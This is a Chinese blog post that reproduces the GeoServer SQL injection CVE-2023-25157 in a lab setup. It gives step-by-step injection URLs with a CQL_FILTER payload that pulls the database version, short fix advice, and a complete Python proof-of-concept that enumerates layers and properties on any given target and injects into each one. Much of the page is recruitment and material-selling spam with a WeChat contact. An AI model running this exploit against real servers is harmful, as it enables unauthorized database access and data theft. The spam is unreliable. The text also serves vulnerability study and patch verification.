GeoServer SQL 注入漏洞复现(CVE-2023-25157)附poc_geoserverl漏洞

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

docker-compose up -d
docker-compose ps


1.访问http://yourip:8080/geoserver进入首页


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/370715e835e742118f6c9600ebba8e2f.png#pic_center)


2.获取每个功能名称


在进行注入之前,首先要获取地理图层列表信息,这是sql注入payload中的一个必要参数


访问以下url获取:  
 http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities


`<Name>`标签中的信息,就是地理图层列表。这里选择`vulhub:example`作为地理图层列表信息  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4843d59ffb8f48baac3871cac2f6f192.png#pic_center)


3.获取功能的属性


将上一步获取的typeName的name属性值拼接到url中,构成url如下:  
 http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/6720b716137b431cbd676b2305c88a3f.png#pic_center)


4.构造SQL 注入  
 Feature type (table) name: vulhub:example  
 One of attribute from feature type: name  
 利用这些已知参数,拼接成payload:  
 http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL\_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/69d077d20a734b5fa0a8f2da1cef76cb.png#pic_center)


成功获取到数据库版本号


##### 修复建议


升级 org.geoserver.community:gs-jdbcconfig 到 2.21.4 或 2.22.2 或更高版本  
 禁用 PostGIS Datastore 的 encode functions 或使用 preparedStatements 处理 sql 语句


##### poc


使用方法:python CVE-2023-25157.py http://your-ip:8080/geoserver/ows



#!/usr/bin/env python3

-*- coding: utf-8 -*-

import requests
import sys
import xml.etree.ElementTree as ET
import json

Colored output codes

GREEN = ‘\033[92m’
YELLOW = ‘\033[93m’
RED = ‘\033[91m’
BOLD = ‘\033[1m’
ENDC = ‘\033[0m’

Check if the script is run without parameters

if len(sys.argv) == 1:
print(f"{YELLOW}This script requires a URL parameter.{ENDC}“)
print(f”{YELLOW}Usage: python3 {sys.argv[0]} {ENDC}")
sys.exit(1)

URL and proxy settings

URL = sys.argv[1]
PROXY_ENABLED = False
PROXY = “http://127.0.0.1:8080/” if PROXY_ENABLED else None

response = requests.get(URL + “/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities”,
proxies={“http”: PROXY}, verify=False)

if response.status_code == 200:

# Parse the XML response and extract the Name from each FeatureType and store in a list
root = ET.fromstring(response.text)
feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]

# Print the feature names
print(f"{GREEN}Available feature names:{ENDC}")
for name in names:
    print(f"- {name}")

# Send requests for each feature name and CQL\_FILTER type
cql_filters = [
    "strStartsWith"]  # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.
for name in names:
    for cql_filter in cql_filters:
        endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
        response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
        if response.status_code == 200:
            json_data = json.loads(response.text)
            try:
                properties = json_data['features'][0]['properties']
            except  IndexError:
                print("Error: 超出范围")
            property_names = list(properties.keys())
            print(f"\n{GREEN}Available Properties for {name}:{ENDC}")
            for property_name in property_names:
                print(f"- {property\_name}")

            print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")
            for property_name in property_names:
                endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL\_FILTER={cql\_filter}%28{property\_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
                response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
                print(
                    f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property\_name}{ENDC} and CQL\_FILTER: {BOLD}{cql\_filter}{ENDC}")
                if response.status_code == 200:
                    root = ET.fromstring(response.text)
                    error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
                    print(f"{GREEN}{error\_message}{ENDC}")
                else:
                    print(f"{RED}Request failed{ENDC}")
        else:
            print(f"{RED}Request failed{ENDC}")

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
GeoServer存在SQL注入漏洞,攻击者可以通过构造畸形的过滤语法绕过GeoServer的词法解析,从而获取服务器中的敏感信息甚至可能获取数据库服务器权限。\[2\]具体的攻击示例是通过发送特定的HTTP请求来实现注入,其中包括了查询图层名称和属性名称的参数。\[3\] 为了防止SQL注入攻击,建议采取以下措施: 1. 及时更新GeoServer和相关组件的版本,以确保修复了已知的漏洞。 2. 对用户输入进行严格的验证和过滤,确保输入的数据符合预期的格式和类型。 3. 使用参数化查询或预编译语句来执行数据库操作,而不是直接拼接用户输入的数据。 4. 限制GeoServer的访问权限,只允许授权的用户或IP地址进行访问。 5. 监控和记录GeoServer的日志,及时发现异常行为并采取相应的应对措施。 通过采取以上措施,可以有效减少SQL注入攻击对GeoServer的威胁。 #### 引用[.reference_title] - *1* [GeoServer 存在 sql 注入漏洞](https://blog.csdn.net/murphysec/article/details/129278735)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [GeoServer SQL注入漏洞复现CVE-2023-25157)](https://blog.csdn.net/qq_41904294/article/details/131117123)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值